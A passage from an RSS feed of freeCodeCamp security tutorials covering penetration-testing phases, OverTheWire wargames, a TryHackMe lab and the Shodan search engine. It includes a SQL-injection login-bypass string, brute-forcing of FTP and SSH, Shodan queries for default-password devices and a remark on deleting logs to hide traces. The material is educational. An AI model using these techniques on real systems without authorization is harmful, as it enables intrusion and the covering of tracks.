<p>So if you’re tired of rerunning the same Nmap scans over and over, or you just want cleaner results and fewer mistakes, let Autorecon do the heavy lifting – so you can focus on the part that really matters: breaking stuff.</p>
<p><em>For more cybersecurity tutorials,</em> <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong><em>join our newsletter</em></strong></a><em>. To learn the basics of Offensive Cybersecurity, check out our</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><strong><em>Security Starter Course</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is Penetration Testing in Cybersecurity? A Beginner's Guide ]]>
                </title>
                <description>
                    <![CDATA[ In today's digital world, almost every activity we engage in is intertwined with technology. From making payments via UPI and booking movie or travel tickets online to selling products through e-commerce platforms, technology has become an integral p... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/beginners-guide-to-penetration-testing-cybersecurity/</link>
                <guid isPermaLink="false">67a62fc9c3ae66ee9e7a4b3e</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ security testing  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ P S Mohammed Ali ]]>
                </dc:creator>
                <pubDate>Fri, 07 Feb 2025 16:07:37 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1738941455446/843335c0-35a3-4173-bd4c-7baf0e630e8e.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In today's digital world, almost every activity we engage in is intertwined with technology. From making payments via UPI and booking movie or travel tickets online to selling products through e-commerce platforms, technology has become an integral part of our daily routine.</p>
<p>To make sure that these activities are safe and secure, dev teams need to have a robust security testing framework in place. This helps identify vulnerabilities, prevent cyber threats, and maintain the integrity of digital transactions.</p>
<p>In this article, you will learn all about penetration testing – what it is, why each phase of the process is important, and the tools pentesters use to do their jobs.</p>
<h2 id="heading-what-is-penetration-testing">What is Penetration Testing?</h2>
<p>Penetration Testing is a practice used by security professionals to help companies and teams secure their data. A company gives the security pro permission to try to find vulnerabilities in their system. The security pro then reports any potential weak spots they find to the company so they can fix them. This helps these companies prevent potential attacks before hackers can get access to their data.</p>
<p>If a company fails to conduct pentesting, it can lead to serious consequences like policy violations, hefty compliance regulation fines, loss of customer trust, and a decline in the organization's reputation and overall business value.</p>
<p>There are four phases of penetration testing:</p>
<ol>
<li><p>Reconnaissance</p>
</li>
<li><p>Scanning</p>
</li>
<li><p>Exploitation</p>
</li>
<li><p>Report Submission</p>
</li>
</ol>
<p>Let’s go through each one so you can learn what’s involved in the entire process.</p>
<h2 id="heading-reconnaissance-the-art-of-information-gathering">Reconnaissance: The Art of Information Gathering</h2>
<p>Reconnaissance involves gathering information about the target system or network. A pentester’s goal here is to collect as much data as possible about the target, helping them understand the target’s architecture, identify potential vulnerabilities, and develop an effective attack strategy.</p>
<p>In reconnaissance, testing can be conducted in various ways, such as browsing social media for information about the target, using information-gathering tools like theHarvester to crawl websites related to the target domain, and more.</p>
<p>At this stage, all available data—whether technical or non-technical—is gathered without filtering for relevance. The goal is to collect as much information as possible, as even seemingly insignificant details can later prove useful in an attack.</p>
<p>Reconnaissance is crucial for a successful penetration test. So it can be a time-consuming process, often taking anywhere from a few hours to several weeks, depending on the complexity of the target.</p>
<h3 id="heading-types-of-reconnaissance"><strong>Types of Reconnaissance</strong></h3>
<p>We can categorize reconnaissance into two main types based on the level of interaction with the target system:</p>
<p>First, we have passive reconnaissance. This involves gathering information from publicly available sources <strong>without directly interacting</strong> with the target system. Since no direct contact is made, it is stealthy and less likely to alert the target.</p>
<p>At this point, a question may arise: If penetration testing is conducted with prior approval from the target domain, why should we conduct passive reconnaissance to minimize direct interaction when we have the freedom to perform active reconnaissance?</p>
<p>Well, a penetration tester must think from an unethical hacker's perspective. Attackers often rely heavily on passive reconnaissance techniques to gather critical information without alerting the target, making it a crucial phase in ethical hacking as well.</p>
<p>This is why penetration testing should include passive reconnaissance. It helps identify potential information leaks, such as a target company's public announcements or employees posting coding-related doubts on platforms like Substack, which could lead to unauthorized system access.</p>
<p>Active Reconnaissance, on the other hand, involves <strong>direct interaction</strong> with the target system to extract specific information. Common methods include port scanning, banner grabbing, and network sniffing.</p>
<p>This approach provides more accurate and detailed information, but it comes with a higher risk—the tester’s IP address or digital footprint may be logged by the target system.</p>
<p>For the reconnaissance phase, there are numerous tools available on the internet. But a few are considered highly efficient and popular among penetration testers. Some of these include Medusa and theHarvester.</p>
<p>As an example here, we’ll use theHarvester to gather information on a target domain (Zudio.com) and analyze the different types of data retrieved by the tool.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871546984/dc7e71a4-e76d-42df-b895-4b2f626fe902.png" alt="dc7e71a4-e76d-42df-b895-4b2f626fe902" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You can see that the tool crawled the Brave search engine and discovered a couple of IP addresses along with additional subdomains of the target domain (Zudio.com). These findings should be properly documented and included in the target’s reconnaissance report.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871767740/e0af88ca-35ec-435c-9196-2a0f173cb6fd.png" alt="Findings from gathering info using theHarvester" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-scanning-the-art-of-detecting-loopholes">Scanning: The Art of Detecting Loopholes</h2>
<p>The information a pentester gathers during the reconnaissance phase serves as a crucial input for the scanning phase. This data helps them gain deeper insights into the target system, allowing them to pinpoint areas and filter data that require further analysis.</p>
<p>With a wide range of scanning tools available, pentesters utilize various techniques to:</p>
<ul>
<li><p>Identify open ports, as they can serve as potential entry points.</p>
</li>
<li><p>Monitor network activity to detect vulnerabilities and security gaps.</p>
</li>
</ul>
<h3 id="heading-phases-of-scanning"><strong>Phases of Scanning</strong></h3>
<p>Scanning typically involves two key steps:</p>
<p>First, we have <strong>port scanning</strong>, which identifies open and closed ports on the target system. This helps determine which services are running and are potentially exploitable.</p>
<p>System Ports serve as entry points for a computer system to perform various tasks. Ensuring that all unnecessary ports are closed is crucial for security. Leaving optional ports open can create potential entry points for hackers.</p>
<p>You can use tools like <strong>Nmap, Netcat, Masscan</strong> for this purpose.</p>
<p>For better understanding, let's scan a sample target domain (192.168.13.136) using Nmap and check which service ports are open.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738868226793/82cc30ab-7383-4b81-95ab-95e6a1b9bf07.png" alt="Nmap scan Result for sample target domain showing open ports" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Next, we have <strong>vulnerability scanning</strong>, which detects weaknesses in software, configurations, and services. It helps pentesters assess the security risks associated with identified ports and services.</p>
<p>Let’s use the same nmap tool to detect the vulnerabilities from the identified open ports. In the scanning results, you can see that port 21 is open and this port is specifically used for File Transfer Protocol.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871075994/70823cf4-97ce-4cb7-b76b-0a8db3acb1bb.png" alt="Results of nmap vulnerability scan" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Here, we run Nmap on the target address (192.168.13.136) to scan FTP port 21 using the ftp-brute script. This allows us to check whether the FTP service is accessible using default usernames and passwords.</p>
<p>During the scan, we were able to extract additional useful information, including details about the FTP server version (vsftpd 2.3.4). This information can be valuable for identifying potential vulnerabilities in this version.</p>
<p>Finally, the tool successfully identified a vulnerability in the server by discovering valid usernames and passwords from the dictionary list included in the tool.</p>
<p>In general, reconnaissance and scanning are often overlooked by security analysts, assuming they are not important. But these phases provide a valuable dataset and a deeper understanding of the target domain. They help in filtering and directing the exploitation process, allowing penetration testers to focus on specific vulnerabilities instead of blindly attempting various exploits.</p>
<p>Skipping these phases leads to inefficiency, wasting time, resources, and effort. So for successful exploitation, it is essential to conduct thorough information gathering and scanning before proceeding further.</p>
<h2 id="heading-exploitation-the-art-of-attack-simulation">Exploitation: The Art of Attack Simulation</h2>
<p>The outcome of the scanning phase gives pentesters a clear understanding of potential entry points, commonly referred to as “open doors”, through identified ports and services. These insights help testers determine which vulnerabilities can be exploited to simulate a real-world cyberattack.</p>
<p>Once vulnerabilities are identified, testers deploy various attack techniques to assess their impact. The goal is to demonstrate how a malicious hacker could gain unauthorized access and compromise the target system. Some common attack methods include:</p>
<ul>
<li><p><strong>SQL Injection</strong> – Exploiting database vulnerabilities.</p>
</li>
<li><p><strong>Cross-Site Scripting (XSS)</strong> – Injecting malicious scripts into web applications.</p>
</li>
<li><p><strong>Buffer Overflow</strong> – Overwriting memory to execute malicious code.</p>
</li>
<li><p><strong>Brute Force Attacks</strong> – Cracking weak passwords for system access.</p>
</li>
</ul>
<p>For a clearer understanding, let's explore how database vulnerabilities are exploited using SQL Injection attacks.</p>
<p>Let's say there is a username and password field in a login form. Typically, when a user enters their credentials, the system fetches these input values, constructs a SQL query, and sends it to the server for authentication.</p>
<p>SQL Injection works by manipulating this query to bypass authentication. At a basic level, an attacker can input specially crafted values to alter the query logic. For example, consider the following SQL query:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> PRODUCTS <span class="hljs-keyword">WHERE</span> USERNAME = <span class="hljs-string">" OR 1=1 -- "</span> <span class="hljs-keyword">AND</span> <span class="hljs-keyword">PASSWORD</span> = <span class="hljs-string">"1234"</span>
</code></pre>
<p>Let’s break down this exploit to see what’s going on:</p>
<ul>
<li><p>The OR 1=1 condition always evaluates to true, meaning the query retrieves all records from the database.</p>
</li>
<li><p>The <code>--</code> sequence is a comment operator in SQL, which ignores the rest of the query (including password verification).</p>
</li>
</ul>
<p>As a result, the attacker gains access without valid credentials, effectively bypassing authentication.</p>
<h2 id="heading-report-submission-the-art-of-validation">Report Submission: The Art of Validation</h2>
<p>The final phase of penetration testing involves reporting the vulnerabilities identified during the security test cycle. These reports are crucial for guiding the remediation process, ensuring that the company addresses any weaknesses before they can be exploited.</p>
<p>Penetration testing reports typically include detailed information about the attacks conducted, the respective results, and an assessment of the risks involved. Importantly, the language used in these reports is non-technical, as the findings are often shared with different teams across the organization, including:</p>
<ul>
<li><p>Management</p>
</li>
<li><p>Higher authorities</p>
</li>
<li><p>Non-technical teams (like HR, legal, and so on)</p>
</li>
</ul>
<p>These reports must be easily understandable and confidential, as they may contain sensitive information about the organization’s vulnerabilities.</p>
<p>The report should include the following key parameters:</p>
<ul>
<li><p>Number of employees involved</p>
</li>
<li><p>Start date and end date of the assessment</p>
</li>
<li><p>List of target domains</p>
</li>
<li><p>List of open ports (if any)</p>
</li>
<li><p>List of identified vulnerabilities, categorized by risk level (Critical, High, Medium, Low, Informational)</p>
</li>
<li><p>Preventive measures to mitigate risks</p>
</li>
<li><p>List of tools used during the assessment</p>
</li>
</ul>
<p>While the structure and content of these reports may vary from organization to organization, the above parameters are mandatory for a comprehensive security assessment.</p>
<p>The goal is to ensure that stakeholders at all levels of the organization can take appropriate action, whether it's patching a vulnerability, revising a policy, or updating a security strategy.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The penetration testing lifecycle is continuous and it’s something your team must perform periodically. You can’t just do it once, address those concerns, and forget about it.</p>
<p>As new vulnerabilities emerge with the release of updated versions of software, applications, and systems, penetration testing remains essential in identifying and addressing these new risks.</p>
<p>A proactive approach to security through continuous penetration testing is crucial for maintaining a safe and secure digital environment for organizations and their users.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Improve Your Hacking Skills by Playing OverTheWire Wargames ]]>
                </title>
                <description>
                    <![CDATA[ Hacking is a skill that fascinates many people. You’ve seen hackers in movies. They type at keyboards, breaking into high-security systems in seconds. But real hacking isn’t quite like that. It takes patience, creativity, and most importantly, a lot ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/improve-hacking-skills-by-playing-wargames/</link>
                <guid isPermaLink="false">67053a4e679acd712108246d</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 08 Oct 2024 13:57:34 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728392145727/bb646db1-f69a-4654-b01c-15fbe94a9c00.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hacking is a skill that fascinates many people. You’ve seen hackers in movies. They type at keyboards, breaking into high-security systems in seconds.</p>
<p>But real hacking isn’t quite like that. It takes patience, creativity, and most importantly, a lot of practice.</p>
<p>One of the best ways to sharpen your hacking skills is by playing wargames. They are interactive hacking challenges that push your problem-solving abilities. Of the many online wargames, <a target="_blank" href="https://overthewire.org/wargames/">OverTheWire</a> is the best. It is fun, educational, and accessible for both beginners and expert hackers.</p>
<p>In this article, we’ll explore why OverTheWire is such a fantastic resource. Whether you’re new to hacking or want to test your skills, OverTheWire will have something for you.</p>
<h1 id="heading-what-are-wargames"><strong>What are Wargames?</strong></h1>
<p>In cybersecurity, wargames are exercises. They simulate attacking and defending computer systems. These games often mimic real-life scenarios. They help you improve your skills without real-world risks.</p>
<p>Wargames can take different forms. Capture the Flag (CTF) is a common type. Players solve challenges to find hidden “flags” in the system. In attack-defense games, teams protect their systems while trying to compromise the opponent’s. In incident response wargames, defenders react to a simulated cyberattack and work to recover.</p>
<p>Wargames give you hands-on experience in cybersecurity. They teach you how to solve problems, think critically, and handle pressure while working in teams. These exercises are valuable for building real-world skills.</p>
<h1 id="heading-what-is-overthewire"><strong>What is OverTheWire?</strong></h1>
<p>OverTheWire is an online platform that offers a collection of wargames. These wargames teach you the basics of cybersecurity through hands-on challenges.</p>
<p>The site hosts several different games, each focusing on different aspects of hacking. You will encounter everything from basic Linux commands to more advanced topics.</p>
<p>OverTheWire wargames are progressive. This means that they start out easy and gradually get harder as you advance through the levels.</p>
<p>If you’re just starting out, this makes the learning curve manageable. But don’t worry, the more complex challenges will give even seasoned hackers something to chew on.</p>
<p>OverTheWire doesn’t just stick to one type of challenge. As you progress through different games, you’ll encounter a wide array of topics. These include Linux fundamentals, networking, file manipulation, scripting, and many others.</p>
<p>Some games, like Narnia, exploit buffer overflows. Others, like Krypton, dive into cryptography. This variety ensures you get a well-rounded education in different aspects of cybersecurity.</p>
<p>OverTheWire has a large, <a target="_blank" href="https://overthewire.org/information/chat.html">active community</a>. While the wargames encourage you to solve problems on your own, there is no shortage of help when you need it.</p>
<p>The official forums are great for asking questions and sharing insights. You can also discuss tricky levels with other players.</p>
<p>While the community can help, solving the challenges yourself is the best way to learn. Looking up answers too early can take away from the experience.</p>
<h1 id="heading-wargames-you-should-try"><strong>Wargames You Should Try</strong></h1>
<p>Let’s take a quick look at some of the key wargames on OverTheWire that you can start playing today.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/bandit/"><strong>Bandit</strong></a></p>
<p>Bandit is the entry point for most people. Bandit teaches you basic Linux commands, file manipulation, and navigation. It’s a perfect place to start if you’ve never used the terminal before or if you want to brush up on fundamental skills.</p>
<p>For example, in one of the early Bandit levels, you are given a password hidden inside a text file. The challenge is finding the file, reading its contents, and then using that information to advance to the next level.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/leviathan/"><strong>Leviathan</strong></a></p>
<p><strong>Leviathan</strong> is more advanced. It teaches you about binary analysis and how to find vulnerabilities in programs. Players solve puzzles that require reverse engineering, debugging, and exploiting weaknesses. It’s a great way to practice finding and fixing security flaws in software.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/narnia/"><strong>Narnia</strong></a></p>
<p>If you want to learn about buffer overflows and binary exploitation, Narnia will teach you both. It starts with simple vulnerabilities and gradually increases in difficulty. You’ll learn how to exploit code to gain control over programs and escalate privileges.</p>
<h1 id="heading-conclusion"><strong>Conclusion</strong></h1>
<p>OverTheWire is a fantastic resource for anyone interested in ethical hacking. The platform offers a structured, hands-on way to build up your cybersecurity skills. It’s not just about solving puzzles, it’s about learning how to think like a hacker.</p>
<p>So, if you want to sharpen your problem-solving skills, improve your technical knowledge, or just have some fun breaking into systems (legally), give OverTheWire a try. You’ll learn a lot, and who knows, you might just become the next great cybersecurity expert!</p>
<p>For more articles on Cybersecurity, join our weekly newsletter <a target="_blank" href="https://www.stealthsecurity.sh/"><strong><em>Stealth Security</em></strong></a><strong><em>.</em></strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Hack Your First Machine – A Guide for Aspiring Security Enthusiasts ]]>
                </title>
                <description>
                    <![CDATA[ Hacking your first machine is a milestone for anyone interested in cybersecurity. You may have watched countless tutorials and read many articles. But hacking a machine and taking control of it is a wonderful and important experience for any aspiring... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/hack-your-first-machine-a-guide-for-aspiring-security-enthusiasts/</link>
                <guid isPermaLink="false">66ff0b0f8448d4c0b6a72429</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 03 Oct 2024 21:22:23 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929072898/8ba47c55-8ca9-4255-8cf7-f6a27e403315.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hacking your first machine is a milestone for anyone interested in cybersecurity. You may have watched countless tutorials and read many articles. But hacking a machine and taking control of it is a wonderful and important experience for any aspiring cybersecurity professional.</p>
<p>Well, I’m here to give you that experience – for free.</p>
<p>I’ve created a hands-on lab with TryHackMe (THM). <a target="_blank" href="https://tryhackme.com/"><strong>TryHackMe</strong></a> is an online platform that offers virtual labs for learning cybersecurity.</p>
<p>THM reduces complex virtual machine setups to help you practise your skills. Using THM, you can use machines right from your browser.</p>
<p>It’s a safe space to practice your skills. You’ll need to sign up for a free account to work with this lab, but you don’t have to buy a premium plan.</p>
<p>First, I’ll give you an intro to the platform. You can then visit the lab and hack your first machine. Here’s the Lab URL: <a target="_blank" href="https://tryhackme.com/jr/SS_HYFM">https://tryhackme.com/jr/SS_HYFM</a></p>
<h2 id="heading-how-to-work-with-tryhackme">How to Work with TryHackMe</h2>
<p>To practise hacking, you need a target and an attack machine. THM works by creating isolated labs, also called “rooms”. Every room has its own target and attack machines.</p>
<p>Each room is split into multiple tasks. You must finish a task and answer some questions to pass the task. Once you finish all the tasks, you pass the room.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929124746/ec215a11-4efe-48fb-b1c7-e341be7e5bc0.png" alt="ec215a11-4efe-48fb-b1c7-e341be7e5bc0" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>To start the target machine, click on the green “Start machine” button. Once you start, give it a few minutes to display its IP address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929152565/d0853ded-10a0-4c75-b03a-9e6962d666a3.png" alt="d0853ded-10a0-4c75-b03a-9e6962d666a3" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Most targets will not have a GUI. You will only be interacting with it using an IP address.</p>
<p>Now you need an attack machine. THM offers a Kali virtual machine to use as the attacking machine. Kali is a Linux version with all the tools you need pre-installed in it. So no extra setups or installations are needed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929209495/1d6234da-acc0-4c7e-81dd-70f2ef0d3888.png" alt="1d6234da-acc0-4c7e-81dd-70f2ef0d3888" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You can find the “Start Attackbox” button on the top left. It will open the attacking machine by splitting your screen.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929187803/10b8c5c6-a0bf-4f58-ab67-94cb3b4ad25f.png" alt="10b8c5c6-a0bf-4f58-ab67-94cb3b4ad25f" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h3 id="heading-lab-tasks">Lab Tasks</h3>
<p>The lab is split into five tasks:</p>
<h4 id="heading-1-platform-overview">1. Platform overview</h4>
<p>This task gives you an introduction to how the platform works, similar to the above section. Once you start both the virtual machines, you can test the connection by pinging the target from the attackbox.</p>
<h4 id="heading-2-linux-101">2. Linux 101</h4>
<p>We have added a task on basic Linux commands. Even if you are an experienced Linux user, it can help brush up your skills. Here are the commands you will be working with.</p>
<ul>
<li><p><strong>whoami</strong> — tells you the username of the currently logged-in user.</p>
</li>
<li><p><strong>pwd</strong> — Shows the full path of the current directory. It helps you track your current location in the system.</p>
</li>
<li><p><strong>clear</strong> — clears the screen</p>
</li>
<li><p><strong>ls</strong> — Lists files and directories in the current folder.</p>
</li>
<li><p><strong>cat</strong> — Displays the contents of a file. It can also help create new files. cat [filename] will display a file’s contents. Using the &gt; operator, cat &gt; [filename] will create a new file.</p>
</li>
<li><p><strong>rm</strong> — Deletes files or directories. Useful for cleaning up traces of activities, such as removing logs.</p>
</li>
</ul>
<h4 id="heading-3-scanning-with-nmap">3. Scanning with Nmap</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727929253716/10a18e13-8afe-4a4b-af18-cf4caff653ba.jpeg" alt="10a18e13-8afe-4a4b-af18-cf4caff653ba" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p><a target="_blank" href="https://www.stealthsecurity.sh/p/nmap-tutorial">Nmap</a> (short for Network Mapper) is a free, open-source tool used for port scanning. It can scan for open ports, identify services, and even detect the target’s operating system.</p>
<p>Nmap will help you scan the target using its IP address. The information from Nmap will help you find entry points of getting into the target.</p>
<h4 id="heading-4-brute-forcing-with-hydra">4. Brute-forcing with Hydra</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728308769373/c5d58a65-12f0-4cea-8248-37119ec77cd5.jpeg" alt="c5d58a65-12f0-4cea-8248-37119ec77cd5" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Once you find an entry point, you can use a brute-force tool to find the password. In this target, there will be an open SSH port. SSH is a protocol that helps login to a server remotely.</p>
<p>You’ll use <a target="_blank" href="https://www.stealthsecurity.sh/p/hacking-hydra-practical-tutorial">Hydra</a> along with a list of passwords to hack your way into the target server. Once you find the password, you can login to the target using SSH. Here is the syntax for using SSH to login to a server.</p>
<p><code>ssh username@ip_address</code></p>
<p>It will then prompt for the password. Once you login to the target, you can find a text file called flag2.txt. The contents of this file will be the answer to the final question in the lab.</p>
<h4 id="heading-5-wrapping-up">5. Wrapping Up</h4>
<p>The final task will ask for your feedback about this lab. Let us know your thoughts and we will make this lab better for the next person.</p>
<h3 id="heading-lets-go">Let’s Go</h3>
<p>Go to <a target="_blank" href="https://tryhackme.com/?utm_source=www.stealthsecurity.sh&amp;utm_medium=referral&amp;utm_campaign=hack-your-first-machine">TryHackMe</a> and sign up for an account. Once you are done, <a target="_blank" href="https://tryhackme.com/jr/SS_HYFM?utm_source=www.stealthsecurity.sh&amp;utm_medium=referral&amp;utm_campaign=hack-your-first-machine">click here</a> to go to the lab.</p>
<p>Happy hacking!</p>
<p><strong>For more articles on Cybersecurity, join our free newsletter</strong> <a target="_blank" href="https://www.stealthsecurity.sh/"><strong>Stealth Security</strong></a><strong>. To learn ethical hacking tools using hands-on labs, check out our private community</strong> <a target="_blank" href="https://www.skool.com/hackershub"><strong>The Hacker’s Hub</strong></a><strong>.</strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Shodan – What to Know About the Internet’s Most Dangerous Search Engine ]]>
                </title>
                <description>
                    <![CDATA[ Shodan is a search engine that discovers devices connected to the internet. In this article, we’ll look at why it’s both a valuable tool and a potential threat. When you hear the term “search engine,” your mind likely jumps to Google, Bing, or Yahoo.... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/shodan-what-to-know-about-the-internets-most-dangerous-search-engine/</link>
                <guid isPermaLink="false">66e085303051e0f03b91144d</guid>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 10 Sep 2024 17:43:12 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1725990169364/3181020e-abd0-4943-a461-830c2a416035.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Shodan is a search engine that discovers devices connected to the internet. In this article, we’ll look at why it’s both a valuable tool and a potential threat.</p>
<p>When you hear the term “search engine,” your mind likely jumps to Google, Bing, or Yahoo. These platforms are familiar to most of us, helping us find websites, images, and news.</p>
<p>But there’s another search engine out there, one that most people have never heard of. And it’s a lot more powerful and dangerous. It’s called <a target="_blank" href="https://www.shodan.io/">Shodan</a>.</p>
<p>Shodan is a database of online devices, many of which are not meant to be public. The scary thing about Shodan is that it can have one of your devices, too.</p>
<p>Let’s look at what Shodan is, how it works, and why it’s both a valuable tool and a potential threat.</p>
<h3 id="heading-what-is-shodan">What is Shodan?</h3>
<p>Shodan is a search engine that discovers devices connected to the internet. This includes everything from simple webcams and routers to complex industrial control systems.</p>
<p>Traditional search engines index websites. Shodan scans the internet for devices and lists them based on their IP addresses, open ports, and other publicly available data.</p>
<p>Shodan works by scanning the internet using specific protocols to identify connected devices. It collects all information about the device.</p>
<p>These include IP addresses, open ports, and even the software versions in use. This data is then made searchable by allowing users to query the database. You can look for specific types of devices or vulnerabilities using Shodan’s UI or the CLI tool.</p>
<p>Let’s look at how you can use Shodan both via the web interface and the command line.</p>
<h3 id="heading-how-to-use-the-shodan-web-interface">How to Use the Shodan Web Interface</h3>
<p>Go to <a target="_blank" href="https://www.shodan.io">shodan.io</a> and create an account. While some searches are possible without an account, you’ll need to log in to access most features.</p>
<p>Also, you will need a premium account to find most devices, and the results of the free plan are very limited.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726210817675/e3c7f492-7b0d-4914-be7a-6cf8dc26524a.png" alt="Shodan home page" width="600" height="400" loading="lazy"></p>
<p>On the homepage, you will see a simple search bar. You can type in general queries like “default password” or “webcam” to see what Shodan can find.</p>
<p>For example, typing “default password” will list devices with default settings. They are vulnerable to unauthorized access.</p>
<p>Shodan also allows you to filter results with specific parameters. For example:</p>
<ul>
<li><p><strong>Search for specific devices</strong>: If you’re looking for webcams, you might type “webcam country:US”. This query will return webcams located in the United States.</p>
</li>
<li><p><strong>Search by IP address:</strong> To see details about a specific IP, type the IP address into the search bar.</p>
</li>
<li><p><strong>Search by port:</strong> To find devices with a specific port open, use a query like “port:22”. This will find devices with SSH (port 22) exposed to the Internet.</p>
</li>
</ul>
<p>After executing a search, Shodan will present a list of matching devices. Each result includes the IP address, open ports, and the software on the device.</p>
<p>For example, a search for “port:22” might find SSH servers and their configuration details.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726210856807/253a6a4c-e418-4a8f-ad3d-553a4a339686.png" alt="Shodan search results" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-use-the-shodan-command-line-interface-cli">How to Use the Shodan Command-Line Interface (CLI)</h3>
<p>For advanced users, Shodan provides a command-line interface (CLI). It lets you search and automate tasks.</p>
<p><strong>Note: API usage may be limited based on your account and you might have to pay to use it.</strong></p>
<p>Before you can use the CLI, you will need to install it. You can do this using Python’s package manager, pip. Open your terminal and type the following.</p>
<pre><code class="lang-plaintext">pip install shodan
</code></pre>
<p>Once installed, you can see if it works by trying the help command.</p>
<pre><code class="lang-plaintext">shodan -h
</code></pre>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*j-AeWDwmtsLvczJEj1U2yQ.png" alt="Shodan help" width="600" height="400" loading="lazy"></p>
<p>Now you have to add your Shodan CLI with your API key. You can find your API key on your <a target="_blank" href="https://account.shodan.io/">Shodan account page</a>. To set it up, use the following command:</p>
<pre><code class="lang-plaintext">shodan init YOUR_API_KEY
</code></pre>
<p>Now you can start searching. Here’s an example of a basic search:</p>
<pre><code class="lang-plaintext">shodan search "default password"
</code></pre>
<p>This command will return devices with “default password” in their banners. This often indicates poor security practices.</p>
<p>You can search for devices with specific characteristics as before:</p>
<pre><code class="lang-plaintext">shodan search "port:80 country:US"
</code></pre>
<p>This command finds web servers (port 80) located in the United States.</p>
<p>To get detailed information about a specific IP address, use this command:</p>
<pre><code class="lang-plaintext">shodan host 8.8.8.8
</code></pre>
<p>It will return all known data about the specified IP. This includes open ports and detected services.</p>
<p>To see more commands or debug CLI issues, <a target="_blank" href="https://help.shodan.io/command-line-interface/0-installation">here is the official documentation from Shodan</a>.</p>
<h3 id="heading-the-good-the-bad-and-the-dangerous">The Good, the Bad, and the Dangerous</h3>
<p>Shodan is a double-edged sword. It’s a powerful tool for cybersecurity professionals. It also poses significant risks if used with bad intent.</p>
<p>Security teams use Shodan to find exposed devices within their networks. It allows them to patch vulnerabilities before someone can exploit them.</p>
<p>Researchers can track vulnerabilities or malware by monitoring devices on Shodan.</p>
<p>Unfortunately, Shodan can also be a hacker’s dream. Hackers can use Shodan to locate devices exposed to the Internet. These include webcams, servers, and even industrial control systems.</p>
<p>A worrying fact about Shodan is its ability to find industrial control systems. An Industrial Control System (ICS) controls and monitors industrial processes. It’s the “brain” behind machines in factories, power plants, and water treatment plants.</p>
<p>Shodan has found thousands of unsecured, internet-connected industrial control systems (ICS). In some cases, these systems had no password or used default credentials.</p>
